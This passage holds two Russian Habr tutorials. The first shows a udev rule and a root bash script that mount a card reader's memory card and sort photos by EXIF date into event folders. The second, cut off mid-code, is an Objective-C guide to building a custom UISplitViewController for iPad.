ATTRS{bmAttributes}=="80"
ATTRS{bMaxPower}=="500mA"
ATTRS{urbnum}=="10885"
ATTRS{idVendor}=="0bda"
ATTRS{idProduct}=="0151"
ATTRS{bcdDevice}=="5195"
ATTRS{bDeviceClass}=="00"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bDeviceProtocol}=="00"
ATTRS{bNumConfigurations}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{speed}=="480"
ATTRS{busnum}=="1"
ATTRS{devnum}=="15"
ATTRS{devpath}=="1"
ATTRS{version}==" 2.00"
ATTRS{maxchild}=="0"
ATTRS{quirks}=="0x0"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{authorized}=="1"
ATTRS{manufacturer}=="Generic"
ATTRS{product}=="USB2.0-CRW"
ATTRS{serial}=="20060413092100000"
looking at parent device '/devices/pci0000:00/0000:00:02.1/usb1':
KERNELS=="usb1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{configuration}==""
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bmAttributes}=="e0"
ATTRS{bMaxPower}==" 0mA"
ATTRS{urbnum}=="222"
ATTRS{idVendor}=="1d6b"
ATTRS{idProduct}=="0002"
ATTRS{bcdDevice}=="0301"
ATTRS{bDeviceClass}=="09"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bDeviceProtocol}=="00"
ATTRS{bNumConfigurations}=="1"
ATTRS{bMaxPacketSize0}=="64"
ATTRS{speed}=="480"
ATTRS{busnum}=="1"
ATTRS{devnum}=="1"
ATTRS{devpath}=="0"
ATTRS{version}==" 2.00"
ATTRS{maxchild}=="6"
ATTRS{quirks}=="0x0"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{authorized}=="1"
ATTRS{manufacturer}=="Linux 3.1.10-1.16-desktop ehci_hcd"
ATTRS{product}=="EHCI Host Controller"
ATTRS{serial}=="0000:00:02.1"
ATTRS{authorized_default}=="1"
looking at parent device '/devices/pci0000:00/0000:00:02.1':
KERNELS=="0000:00:02.1"
SUBSYSTEMS=="pci"
DRIVERS=="ehci_hcd"
ATTRS{vendor}=="0x10de"
ATTRS{device}=="0x077c"
ATTRS{subsystem_vendor}=="0x1043"
ATTRS{subsystem_device}=="0x82e7"
ATTRS{class}=="0x0c0320"
ATTRS{irq}=="22"
ATTRS{local_cpus}=="00000000,00000000,00000000,0000000f"
ATTRS{local_cpulist}=="0-3"
ATTRS{numa_node}=="0"
ATTRS{dma_mask_bits}=="32"
ATTRS{consistent_dma_mask_bits}=="32"
ATTRS{enable}=="1"
ATTRS{broken_parity_status}=="0"
ATTRS{msi_bus}==""
ATTRS{companion}==""
ATTRS{uframe_periodic_max}=="100"
looking at parent device '/devices/pci0000:00':
KERNELS=="pci0000:00"
SUBSYSTEMS==""
DRIVERS==""
```
Как написано в примечании, для написания правил можно использовать свойства самого устройства и свойства одного из родительских устройств.
Правила будем писать для подключения первого раздела карты памяти (чтоб сразу отсечь карты без разделов, хотя я и не пытался такие сделать, и фотоаппарат пишет исключительно в первый раздел). У самого тома sdh1 уникальных свойств не много. Тут разве что имя устройства KERNEL==«sdh1» и подсистема этого устройства SUBSYSTEM==«block». Но такими свойствами будет обладать любая флешка. Да и, как я говорил ранее, не факт что в следующий раз система назовёт наш том sdh1, и вдруг я куплю себе другой фотоаппарат с xD-Picture или вообще CompactFlash (а это будут sdf, sdg, sdi) — не хотелось бы из-за этого переписывать правила. На наше счастье udev поддерживает джокеры и поэтому в этой части для правила возьмём выражение KERNEL==«sd?1» (или даже «sd\*»), что будет означать первый том подключаемого диска, а под какой конкретно он будет буквой — нам не важно, скрипт всё равно получит имя полностью без джокера.
Перейдём к следующему устройству. /devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0/host14/target14:0:0/14:0:0:2/block/sdh тут нового и запоминающегося, пожалуй, только ATTRS{events}==«media\_change», но опять же данный атрибут будет у любой флешки.
Следующее устройство /devices/pci0000:00/0000:00:02.1/usb1/1-1/1-1:1.0/host14/target14:0:0/14:0:0:2 и тут уже более конкретный вариант ATTRS{model}==«SD/MMC », но привязавшись к этому атрибуту мы будем реагировать только на SD-карты и игнорировать остальные возможные варианты карт памяти. В следующих трёх устройствах мы опять не находим ничего интересного. У следующего устройства /devices/pci0000:00/0000:00:02.1/usb1/1-1 уже интереснее:
```
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{configuration}=="CARD READER"
ATTRS{idVendor}=="0bda"
ATTRS{idProduct}=="0151"
ATTRS{product}=="USB2.0-CRW"
ATTRS{serial}=="20060413092100000"
```
Судя по арибутам, это сам карт-ридер и именно он-то нам и нужен (оставшиеся устройства уже имеют отношение к шине USB). Итого в правилах соответствий мы будем опираться на атрибуты карт-ридера и первого тома карты памяти:
```
ACTION=="add", KERNEL=="sd?1", SUBSYSTEMS=="usb", ATTRS{configuration}=="CARD READER", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="0151"
```
И вставили ещё событие (ACTION==«add») добавления устройства, т.к. копирование после того, как карту вынули из ридера невозможно чисто физически. Я тут подумал: ещё есть атрибут ATTR{ro}==«0» — его тоже можно в правила дописать, а иначе если диск защищён от записи, то ничего не удастся переместить (но скопировать можно будет, хоть и может быть слегка разбросано по лишним директориям в зависимости от шаблона имён типов файлов у фотоаппарата), но я пока не буду себе этого делать.
Как вы уже наверно обратили внимание для самого устройства применяются ключи ATTR/KERNEL/SUBSYSTEM/DRIVER, а для его родителей уже с буквой S на конце: ATTRS/KERNELS/SUBSYSTEMS/DRIVERS.
У меня есть ещё один ридер для microSD карт, так у него в configuration пустая строка и привязаться можно только по idVendor и idProduct. В одной из предыдущих версиях файла правил udev'а (скрипт я начал писать где-то в середине августа, и не обновлял систему до октября и где-то в этот промежуток и был добавлен этот атрибут, да и вообще изменились многие атрибуты для этого ридера) использовались атрибуты vendor и device, которые (слегка изменив, поскольку они исчезли) я оставил, хотя особой нужды теперь в них нет. В этом варианте фильтра он будет действовать только для этой модели карт-ридера и подключение какой-то другой модели не вызовет никакого эффекта.
Фильтры мы определили, а действия ещё не назначили. Т.к. нам надо выполнить определённый скрипт, то дописываем к фильтру действие:
```
RUN+="/root/bin/PhotoSort.sh %k"
```
%k в параметрах скрипта — имя тома, сгенерированное системой (то, что выводится в ключе KERNEL диска — sdh1); /root/bin/PhotoSort.sh — имя нашего будущего скрипта.
Окончательный файл правил для udev выглядит так:
```
>cat /etc/udev/rules.d/99-lumix.rules
#Автоматическое копирование медиа с карты памяти
ACTION=="add", KERNEL=="sd?1", SUBSYSTEMS=="usb", ATTRS{configuration}=="CARD READER", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="0151", RUN+="/root/bin/PhotoSort.sh %k"
#предыдущий вариант через производителя и модель
#ACTION=="add", KERNEL=="sd?1", SUBSYSTEMS=="pci", ATTR{events}=="media_change", ATTRS{vendor}=="0x10de", ATTRS{device}=="0x077e", RUN+="/root/bin/PhotoSort.sh %k"
```
Теперь сохраняем этот текст в каталоге /etc/udev/rules.d/ (нужны права root) под произвольным именем (у меня 99-lumix.rules). Демон udev обрабатывает файлы из этого каталога в алфавитном порядке, пока не найдёт подходящий по условиям фильтр. После нахождения соответствующего правила дальнейшая обработка файлов не производится. Поэтому номер для нашего правила можно ставить маленький-раньше обработается и не перекроется каким-нибудь другим правилом.
Если хочется следить за всеми подключаемыми флешками и картами, то можно опереться на уровень ниже после самого ридера и цепляться по SUBSYSTEMS==«usb», DRIVERS==«usb-storage» — они точно должны быть и у карт и у флешек. Но я пока слежу только за ридером — для остального не было нужды.
##### bash
А теперь пишем скрипт для сортировки фотографий с подключенной карты. Первоначальный вариант поддерживал сортировку только диска целиком. В процессе эксплуатации захотелось ещё обрабатывать и уже имеющиеся каталоги (подкопилось несортированных), посему пришлось немного изменить и дописать. Здесь будет рассмотрена вторая версия, которая может сортировать медиа-файлы (расширения медиа-файлов заданы в самом скрипте в параметрах команды find) и с диска и из каталога.
Сначала кратко про алгоритм работы данного скрипта. Определяем что будем обрабатывать — том или каталог. Если том, то его надо в начале примонтировать (а если точка монтирования уже занята, а она используется только этим скриптом, то скрипт завершит свою работу), а в конце не забыть отмонтировать. После монтирования проверяется наличие скрытого файла .PhotoSort в котором хранятся настройки для данной карточки. Его отсутствие служит сигналом, что была вставлена какая-то обычная карточка и с ней ничего делать не нужно. В этом файле можно задать имя диска (требуется только для логирования — об'яснения в конце) и каталог для сохранения файлов, если стандартный не подходит (думал сделать для мобильника отдельное хранилище). Каталог для экспорта можно ещё указать вторым параметром к скрипту в командной строке или в файле правил udev.
Затем все медиа-файлы из заданного и вложенных каталогов (потому что фотоаппараты сохраняют фотографии в разных каталогах, заранее нам не известных) необходимо отсортировать по времени их создания. Здесь кроется подвох: в Linux нет такого понятия как время создания файла, а есть только время последнего доступа к файлу и при манипуляциях с картинками оно обновляется, поэтому опираться на него нельзя. По имени файла тоже нельзя: DSC08655.JPG сделанный 02.05 должен идти после MOV08554.MPG от 29.04, который в свою очередь должен быть обработан после P1170007.JPG от 19.04. Особенно остро эта проблема встаёт если у нас есть несколько фотоаппаратов от разных производителей, которые делали снимки одного события (aka «гулянка»). На помощь нам приходит EXIF — помимо всего прочего в нём есть атрибут DateTimeOriginal и CreateDate (между ними есть какая-то разница: по крайней мере первого у видеофайлов нет и если он по каким-то причинам не прочитался, то читаться будет второй) и эти атрибуты в обычных ситуациях не меняются. Но как считать файлы со всех вложенных каталогов, начиная с заданного, отсортированные по этим атрибутам — я не знаю, поэтому в цикле все файлы переименовываются (это умеет делать и сам exiftool, но для лога я оставил цикл), добавляя время создания снимка или видео к имени (чтобы потом можно было сортировать в хронологическом порядке по имени файла).
Второй цикл распределяет файлы по каталогам: новый каталог создаётся когда перерыв между текущим файлом и предыдущим становится больше пяти часов (5\*60\*60) — именно для этого мы и сортировали файлы в хронологическом порядке. Пять часов — цифра с потолка. У меня ещё не было снимков с одного события чтоб перерыв между кадрами был больше этого времени. Были экскурсии, с долгими переездами между POI, но дорога занимала меньше пяти часов, а если больше, то это был уже другой город. Были свадьбы и праздники переходящие в другие сутки, и хоть дата менялась, но событие оставалось тем же. Так что, пока перерыв небольшой сохраняем в тот же каталог, что и предыдущий файл. Имя каталога задаётся как YYYYMMDD\_HH — часы (берутся от первого файла нового события) в имя каталога добавлены из-за двух событий одного дня, иначе при переходе ко второму дню получим то же имя каталога, и хоть его создание завершится с ошибкой, но дальнейшие сохранения файлов будут осуществляться в тот же каталог.
В лог пишется всё происходящее (так я проверял функционирование скрипта), а так же команды для возврата файлов обратно на диск (для отладки было полезно — выполнял кусок файла и тестовые медиа-файлы возвращались обратно на карту к своим старым именам). Дополнительные обработки (поворот, уменьшение, подписывание) — не использую, всё равно потом их смотреть, удалять и всё это делать (а подпись на фотографиях я не ставлю). Место, где это можно сделать обозначено комментарием в тексте скрипта.
**Сам скрипт:**
```
>cat /root/bin/PhotoSort.sh
#!/bin/bash
#/root/bin/PhotoSort.sh
#requires: bash,coreutils,findutils,exiftool,sed,util-linux
#cat /etc/udev/rules/99-lumix.rules
##Автоматическое копирование медиа с карты памяти
#ACTION=="add", KERNEL=="sd?1", SUBSYSTEMS=="usb", ATTRS{configuration}=="CARD READER", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="0151", RUN+="/root/bin/PhotoSort.sh %k"
##предыдущий вариант через производителя и модель
##ACTION=="add", KERNEL=="sd?1", SUBSYSTEMS=="pci", ATTR{events}=="media_change", ATTRS{vendor}=="0x10de", ATTRS{device}=="0x077e", RUN+="/root/bin/PhotoSort.sh %k"
# Для определения условий к правилу udev
#udevadm info -a -p $(udeadm info -q path -n /dev/sd*) или udevadm info -a -n /dev/sd*
#http://www.arccomm.ru/OpenSource/Dev/udev.html
if [[ -z "$1" ]]
then
echo Сортирует изображения и видео из всех каталогов внутри указанного во вложенные каталоги указанного,
echo основываясь на времени создания файлов
echo $(basename "$0") Source [DestDir]
echo Source - каталог или имя диска,содержимое которого необходимо рассортировать
echo DestDir - целевой каталог,в который будут помещены файлы
echo Если сортируется диск,то передаётся имя тома
echo Если сортируется диск,то в корне должен быть файл .PhotoCopy
echo В данном файле в первой строке хранится абсолютный путь для сохранения фотографий
echo Во второй строке - имя флешки \(для лога\)
echo Примеры:
echo $(basename "$0") sdd1 - Попытка рассортировать том /dev/sdd1.
echo Сортировка будет выполнена только если в корне диска sdd1 есть файл с настройками .PhotoCopy
echo При этом данный файл может быть пустым
echo $(basename "$0") . ~/Photo - Рассортирует файлы из текущего \(.\) и всех вложенных в него каталогов
echo во вложенные в ~/Photo/ каталоги
exit 1 #неправильно заданы параметры скрипта
fi
if [[ ${1:0:1} == "/" || ${1:0:1} == "." || ${1:0:1} == "~" ]]
then # передали каталог
if [[ -d "$1" ]]
then
disk="$1"
else
echo Исходный каталог недоступен
exit 2 # ненайден каталог для сортировки
fi
else # передали диск
# Передали том
dev="/dev/$1"
if [[ ! -e "$dev" ]]
then # ничего не делать,если нет этого раздела на диске(этого файла не будет при извлечении флешки,но событие будет вызвано)
exit 0
fi
# Куда монтировать флешку
disk="/mnt/photo"
fi
# Куда сохранять фотографии
if [[ ! -z "$2" ]]
then # Если передан вторым параметром
photo="$2"
else
photo="/mnt/temp/Photo" # по умолчанию,должен существовать
fi
sphoto="" # из файла настроек
# Директория в которую будут сохраняться файлы по датам
photodir=""
# лог-файл: возможно его надо бросать в исходный каталог или целевой-есть варианты
log="/var/log/photosort.log"
# Время создания последнего обработанного файла
lastfiletime=0
# Время создания текущего файла
curfiletime=0
# для посыла сообщения-не сработало
#export XAUTHORITY="/home/%username%/.Xauthority"
#export DISPLAY=:0.0
#notify-send Photoes "FlashCard found"
# Проверить не смонтирован ли куда-нить каталог? Сделано из-за того,что если что дважды в одну точку не примонтироваться
if [[ -n "$dev" ]]
then
grep -q "$disk" /etc/mtab
if [[ $? -eq 0 ]] # если найдена хоть одна строка,то grep вернёт 0
then # уже примонтировано-ничего не делать
echo "#=- $(date -u +%Y.%m.%d\ %T) Точка монтирования занята -=#"
exit 10 # ничего не делали,потому что к каталогу что-то было примонтировано
fi
# Монтируем
if [[ ! -d "$disk" ]]
then # если нет каталога для монтирования-создаём
mkdir "$disk" &>>"$log"
echo "#" Создана точка монтирования "$disk" >> "$log"
fi
mount -t vfat -o noatime,rw,noexec,users,iocharset=utf8 "$dev" "$disk" &>> "$log"
if [[ ! -e "$disk"/.PhotoCopy ]]
then # нет файла с настройками в корне флешки,не надо ничего делать
umount "$disk" &>> "$log"
exit 0 # ничего не делали,поскольку файла с настройками в корне диска нет,а значит ничего не надо было делать
fi
# Вариант:если передан скрипту каталог для сохранения $2,то использовать его и игнорировать что указано в настройках
# Из минусов-можно указать произвольный путь(хоть /dev)и файлы будут туда скопированы(запускается от root)
sphoto=$(head -n1 "$disk"/.PhotoCopy) # в первой строке файла должен быть указан абсолютный путь к каталогу,в который будут складироваться фотографии с данного диска
if [[ ${sphoto:0:1} == "/" && -d "$sphoto" ]]
then # Каталог для сохранения фотографий,как задано в файле существует,поэтому используем его
photo="$sphoto"
fi
sphoto=$(tail -n1 "$disk"/.PhotoCopy) # в последней строке файла хранится имя диска
echo $(date -u +%Y.%m.%d\ %T) Вставлен новый диск "$sphoto" >> "$log"
else
if [[ ! -z "$2" ]]
then
photo="$2" # куда сохранять картинки
fi
log="./PhotoSort.log" # куда писать отчёт о содеянном
echo "#" $(date -u +%Y.%m.%d\ %T) Сохраняем в каталог "$photo" >> "$log"
echo cd $(pwd) >> "$log" # сохраняем текущий каталог для того,чтоб при попытке вернуть всё взад можно было восстановиться с относительными путями
fi # монтирование диска и обработка файла настроек
# NB!: если файлы разных типов по-разному начинаются,то могут копироваться как попало
# Поэтому переименовываем файлы,чтоб в имени сначала была дата их создания,
# исключая файлы с подчёркиванием(возможно это уже переименованные скриптом файлы)
# и файлы с пробелами(тут могут быть проблемы при обработке-надо экранировать пробелы)
for file in $(find "$disk" -type f \( -name '*.JPG' -o -name '*.MOV' -o -name '*.MPG' -o -name '*.THM' -o -name '*.MP4' -o -name '*.AVI' \) -and -not -name '*_*' -and -not -name '* *')
do
# exiftool вернёт строку вида:
# Date/Time Original : 2011:07:30 15:35:52
# необходимо оставить только цифры 20110730153552
curfiletime=$(exiftool -DateTimeOriginal "$file" | cut -d: -f2- | sed 's/[:\ ]//g') # ДатаВремя этого файла
if [[ $curfiletime == "" ]]
then
curfiletime=$(exiftool -CreateDate "$file" | cut -d: -f2- | sed 's/[:\ ]//g') # ДатаВремя этого файла
fi
mv "$file" $(dirname "$file")/"$curfiletime"_$(basename "$file") &>> "$log" # переименовываем
echo mv $(dirname "$file")/"$curfiletime"_$(basename "$file") "$file" >> "$log" # преобразование в обратную сторону
done
# Теперь можно обрабатывать все файлы
# (если будет вставлен диск не из фотоаппарата,то всё содержимое будет разбросано по разным каталогам-необходимо фильтровать желания-либо в файл настроек добавить каталог,откуда брать файлы,либо список исключений)
for file in $(find "$disk" -type f -name '*.JPG' -o -name '*.MOV' -o -name '*.MPG' -o -name '*.THM' -o -name '*.MP4' -o -name '*.AVI' | sort)
do
# exiftool возвращает дату,где все части друг от друга отделены двоеточиями и надо в дате заменить двоеточия на тире,ну и обрезать название тега
curfiletime=$(exiftool -DateTimeOriginal "$file" | sed -r 's/^.+: ([0-9]+):([0-9]+):([0-9]+) ([0-9]+):([0-9]+):([0-9]+)/\1-\2-\3 \4:\5:\6/g')
if [[ $curfiletime == "" ]]
then
curfiletime=$(exiftool -CreateDate "$file" | sed -r 's/^.+: ([0-9]+):([0-9]+):([0-9]+) ([0-9]+):([0-9]+):([0-9]+)/\1-\2-\3 \4:\5:\6/g')
fi
curfiletime=$(date -d "$curfiletime" +%s) # преобразовать в секунды с начала времён
if (( $curfiletime - $lastfiletime > 5*60*60 )) # следующий файл по времени создания слишком позже сделан:через 5*60*60 секунд,на основе чего и предполагаем что это уже другая серия снимков
then
photodir=$(date -d @$curfiletime +%Y.%m.%d_%H) # Таким будет новый каталог под снимки
if [[ ! -d "$photo"/"$photodir" ]] # если нет такого каталога-создаём
then
mkdir "$photo"/"$photodir" &>> "$log"
chown nobody:users "$photo"/"$photodir" &>> "$log"
chmod 0777 "$photo"/"$photodir" &>> "$log"
echo "#" $(date -u +%Y.%m.%d\ %T) Создан новый каталог "$photodir" >> "$log"
fi
lastfiletime="$curfiletime"
fi
echo "#" $(date -u +%Y.%m.%d\ %T) Копирование файла "$file" в "$photo"/"$photodir"/$(basename "$file") >> "$log"
echo copy "$photo"/"$photodir"/$(basename "$file") "$file" >> "$log"
# Тут же можно устроить переименовывание файла во что-то более благозвучное(дата/время создания,по gps определить ближайший город)
mv "$file" "$photo"/"$photodir"/ &>> "$log"
chown nobody:users "$photo"/"$photodir"/$(basename "$file") &>> "$log"
chmod 0666 "$photo"/"$photodir"/$(basename "$file") &>> "$log"
done
if [[ -n "$dev" ]]
then
echo $(date -u +%Y.%m.%d\ %T) Диск изъят >> "$log"
# Отмонтируем диск обратно
umount "$disk" &>> "$log"
fi
exit 0
```
Пояснения к некоторым моментам: exiftool возвращает строки вида «Date/Time Original: 2011:07:30 15:35:52» эту строку необходимо преобразовать в «20110730153552» (обратите внимание: в интернете полно примеров, где разделитель не двоеточие, а вертикальная черта — смотрите что у вас):
```
curfiletime=$(exiftool -DateTimeOriginal "$file" | cut -d: -f2- | sed 's/[:\ ]//g')
```
cut — вырежет всё что после первого двоеточия, а sed удалит все пробелы и двоеточия из получившейся строки. Уверен что можно обойтись только sed'ом, но с RegExp'ами не очень дружон.
```
curfiletime=$(exiftool -DateTimeOriginal "$file" | sed -r 's/^.+: ([0-9]+):([0-9]+):([0-9]+) ([0-9]+):([0-9]+):([0-9]+)/\1-\2-\3 \4:\5:\6/g')
```
Ту же строку преобразует в «2011-07-30 15:35:52». Опять же, возможно существует более элегантное решение. Это чтоб date мог обработать как дату (в произвольном формате строку ему нельзя подсунуть).
##### Использование
Скрипт обрабатывает указанный каталог и все вложенные в него (для карты памяти это будет её корень и всё, что глубже) как один.
```
./PhotoSort.sh sdh1
```
таким образом скрипт вызывается из udev'ом для сортировки диска sdh1. В этом случае будет проверяться наличие файла с настройками в его корне. Диск нам передали или каталог определяется по первому символу: если это будут ~ / или. — значит, каталог, иначе — диск.
```
./PhotoSort.sh ~/AllFromParty
```
а так можно рассортировать все фото- и видео-файлы из всех вложенных в ~/AllFromParty каталогов (включая и его самого). Сохраняться всё будет в каталог по-умолчанию, заданный в скрипте (photo="/mnt/temp/Photo"). Если в исходном каталоге лежали файлы с нескольких фотоаппаратов, то может быть некоторый рассинхрон в именах файлов из-за того, что время между камерами не синхронизировано, а то и вовсе никогда не выставлялось. Что может вызвать распределение файлов из разных фотоаппаратов в разные каталоги. Тогда перед выполнением сортировки необходимо скорректировать время в тегах EXIF: exiftool "-DateTimeOriginal+=00.00.0000 02:37:30" \*.JPG — сдвинет время в теге DateTimeoriginal на 2:37:30 в будущее по всем файлам JPG из текущего каталога.
```
./PhotoSort.sh ~/AllFromParty /media/backup/Photoes
```
то же самое, что и выше, но сохраняться всё будет в каталоге /media/backup/Photoes
##### Оставшиеся хотелки
1. Нотификацию по завершению импорта
Вообще нотификация есть: когда экспорт завершён, KDE сообщает о том, что подключили диск, но хотелось бы услышать это нормальными буквами всем залогиненным пользователям. Тот пример, что я нашёл, у меня не заработал (кусок от него остался в тексте).
2. Все настройки скрипта хочется хранить в отдельном файле, а не в коде. Придётся учиться разбирать ini-файлы.
3. Время жизни скрипта ограничено одной минутой. Это самый неприятный момент. Хоть везде и пишут что надо через RUN+= запускать скрипт, но по факту он потом просто висит замороженным где-то в бэкграунде. Может быть это не в udev'е дело, может KDE вмешивается, но как решить эту проблему — я не знаю. Если файлов скопилось очень много, приходится вытаскивать и вставлять карту обратно.
4. В файле настроек .PhotoSort можно указать любой каталог и ничто не помешает udev'у скопировать туда фотографии. Пользователь потом в жизни их не найдёт, а root может быть когда-нибудь случайно наткнётся на них. С этим надо что-то делать. Может выполнять некоторые действия (перемещение, создание каталогов) от обычного пользователя или проверять права и владельца целевого каталога.
5. Пока скрипт не отработает, dosfslabel ничего не сможет прочитать. Наверно udev что-то ещё потом для него делает. Только из-за этого в файле с настройками появилась строка с именем диска.
6. Развить файл настроек флешки: чтоб можно было задавать каталоги исключений или каталоги с фотографиями на экспорт. А то было глупостью подключать флешку с играми от Caanoo — так появилась обработка файла .PhotoSort с настройками.
7. Временное отключение скрипта по удержанию клавиши ну или другим каким-то способом, а то сейчас приходится ставить RO на карте памяти.
8. Ваши пожелания. В самом деле, может я не вижу ещё какой-то задачи, которую можно было б попутно решить в рамках данного скрипта?
##### Список использованной литературы[Искусство написания Bash-скриптов](http://www.opennet.ru/docs/RUS/bash_scripting_guide/)
[HOWTO: udev и автомонтирование носителей](http://ru.gentoo-wiki.com/wiki/HOWTO_Udev_и_автомонтирование_носителей)
[udev. Как установить свои правила](http://rus-linux.net/lib.php?name=MyLDP/sys-conf/udev.html) ([другая такая же ссылка](http://www.arccomm.ru/OpenSource/Dev/udev.html)) | https://habr.com/ru/post/158371/ | null | ru | null |
# Пишем свой аналог UISplitViewController
UISplitViewController получился отличной и красивой штукой, но имеет один существенный недостаток: «The split view controller’s view should always be installed as the root view of your application window. You should never present a split view inside of a navigation or tab bar interface.» Вьюшка UISplitViewController'а всегда должна быть главной вьюшкой приложения, поэтому нельзя впихнуть невпихуемое — UISplitViewController в navigation или tab bar.
Посему, напишем свой аналог UISplitViewController'а ~~с блекджеком и шлюхами~~ для использования совместно с navigation или tab bar.
Создадим Window-based application и обзовём его ipad\_split\_view.
Создадим класс MySplitViewController:
> `@interface MySplitViewController : UIViewController
>
> {
>
> UIViewController \* detailViewController;
>
> UIViewController \* masterViewController;
>
> UIPopoverController \* popoverController;
>
>
>
> UINavigationBar\* navigationBar;
>
> }
>
> @property (nonatomic, retain) IBOutlet UINavigationBar\* navigationBar;
>
> @property (nonatomic, retain) IBOutlet UIViewController \* detailViewController;
>
> @property (nonatomic, retain) IBOutlet UIViewController \* masterViewController;
>
>
>
> -(void) layoutViewsToInterfaceOrientation:(UIInterfaceOrientation)newInterfaceOrientation;
>
> -(id) initWithNibName:(NSString \*)nibNameOrNil bundle:(NSBundle \*)nibBundleOrNil;
>
> -(IBAction) showRootPopup: (id) sender;
>
>
>
> @end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В реализацию добавим парочку дефайнов:
> `#define BAR\_HEIGHT 49.f
>
> #define SCREEN\_HEIGHT 1024.f
>
> #define SCREEN\_WIDTH 768.f
>
> #define MASTER\_WIDTH 320.f
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Переопределим методы setMasterViewController и setDetailViewController:
> `-(void) setDetailViewController:(UIViewController \*) aDetailViewController
>
> {
>
> detailViewController = [aDetailViewController retain];
>
> [self.view addSubview:detailViewController.view];
>
> [self layoutViewsToInterfaceOrientation:self.interfaceOrientation];
>
> }
>
>
>
> -(void) setMasterViewController:(UIViewController \*) aMasterViewController
>
> {
>
> masterViewController = [aMasterViewController retain];
>
> [self.view addSubview:masterViewController.view];
>
> if (popoverController)
>
> {
>
> [popoverController release];
>
> }
>
> popoverController = [[UIPopoverController alloc] initWithContentViewController:masterViewController];
>
> [self layoutViewsToInterfaceOrientation:self.interfaceOrientation];
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
И создадим метод layoutViewsToInterfaceOrientation. Он-то и будет вызываться при смене ориентации:
> `-(void) layoutViewsToInterfaceOrientation:(UIInterfaceOrientation)newInterfaceOrientation
>
> {
>
> if ((newInterfaceOrientation == UIInterfaceOrientationPortrait ||
>
> newInterfaceOrientation == UIInterfaceOrientationPortraitUpsideDown))
>
> {
>
> [self.view addSubview:navigationBar];
>
> navigationBar.frame = CGRectMake(0, 0, SCREEN\_WIDTH, BAR\_HEIGHT);
>
> [masterViewController.view removeFromSuperview];
>
> detailViewController.view.frame = CGRectMake(0, BAR\_HEIGHT, SCREEN\_WIDTH, self.view.frame.size.height-BAR\_HEIGHT);
>
> }
>
> else
>
> {
>
> [navigationBar removeFromSuperview];
>
> [self.view addSubview:masterViewController.view];
>
> masterViewController.view.frame = CGRectMake(0, 0, MASTER\_WIDTH, self.view.frame.size.height);
>
> detailViewController.view.frame = CGRectMake(MASTER\_WIDTH, 0, SCREEN\_HEIGHT-MASTER\_WIDTH, self.view.frame.size.height);
>
> }
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Переопределим метод shouldAutorotateToInterfaceOrientation — пусть возвращает YES для поддержки всех ориентаций.
Также переопределим метод didRotateFromInterfaceOrientation:
> `-(void)didRotateFromInterfaceOrientation:(UIInterfaceOrientation)fromInterfaceOrientation
>
> {
>
> [super didRotateFromInterfaceOrientation:fromInterfaceOrientation];
>
> if ([popoverController isPopoverVisible])
>
> {
>
> [popoverController dismissPopoverAnimated:YES];
>
> }
>
> [masterViewController didRotateFromInterfaceOrientation:fromInterfaceOrientation];
>
> [detailViewController didRotateFromInterfaceOrientation:fromInterfaceOrientation];
>
> [self layoutViewsToInterfaceOrientation:self.interfaceOrientation];
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Создадим метод showRootPopup — он будет вызываться при нажатии на кпопку «More» в портретной ориентации:
> `-(IBAction) showRootPopup: (id) sender
>
> {
>
> [popoverController setContentViewController:masterViewController];
>
> [popoverController presentPopoverFromBarButtonItem:sender
>
> permittedArrowDirections:UIPopoverArrowDirectionUp
>
> animated:YES];
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Создадим для этого класса XIB и свяжем элементы интерфейса и события — это достаточно тривиально и объяснения не требует.
Далее, создадим класс RootViewController:
> `@interface RootViewController : UITableViewController
>
> {
>
> DetailViewController \*detailViewController;
>
> NSArray \* someArray;
>
> }
>
>
>
> @property (nonatomic, retain) IBOutlet DetailViewController \*detailViewController;
>
>
>
> @end
>
> \* This source code was highlighted with Source Code Highlighter.`
В реализации этого класса всё очень просто и обыденно. Интерес представляет лишь следующий код:
> `- (void)tableView:(UITableView \*)aTableView didSelectRowAtIndexPath:(NSIndexPath \*)indexPath {
>
>
>
> /\*
>
> When a row is selected, set the detail view controller's detail item to the item associated with the selected row.
>
> \*/
>
> detailViewController.detailItem = [someArray objectAtIndex:indexPath.row];
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Также создадим для этого класса XIB.
Перейдём к созданию класса DetailViewController:
> `@interface DetailViewController : UIViewController
>
> {
>
> id detailItem;
>
> UIWebView \*webView;
>
> }
>
>
>
> @property (nonatomic, retain) id detailItem;
>
> @property (nonatomic, retain) IBOutlet UIWebView \*webView;;
>
>
>
> @end
>
> \* This source code was highlighted with Source Code Highlighter.`
В реализации обратим внимание на 2 метода:
> `- (void)setDetailItem:(id)newDetailItem
>
> {
>
> if (detailItem != newDetailItem)
>
> {
>
> [detailItem release];
>
> detailItem = [newDetailItem retain];
>
>
>
> // Update the view.
>
> [self configureView];
>
> }
>
> }
>
>
>
> - (void)configureView {
>
> // Update the user interface for the detail item.
>
> NSURL \* url = [NSURL URLWithString:detailItem];
>
> NSURLRequest \* urlRequest = [NSURLRequest requestWithURL:url];
>
> [webView loadRequest:urlRequest];
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как обычно, создаём XIB и связи в нём.
Осталось лишь свзять всё написанное. Класс ipad\_split\_viewAppDelegate будет выглядеть так:
> `@class MySplitViewController;
>
>
>
> @interface ipad\_split\_viewAppDelegate : NSObject
>
> {
>
> UIWindow \*window;
>
> MySplitViewController \*splitViewController;
>
> }
>
>
>
> @property (nonatomic, retain) IBOutlet UIWindow \*window;
>
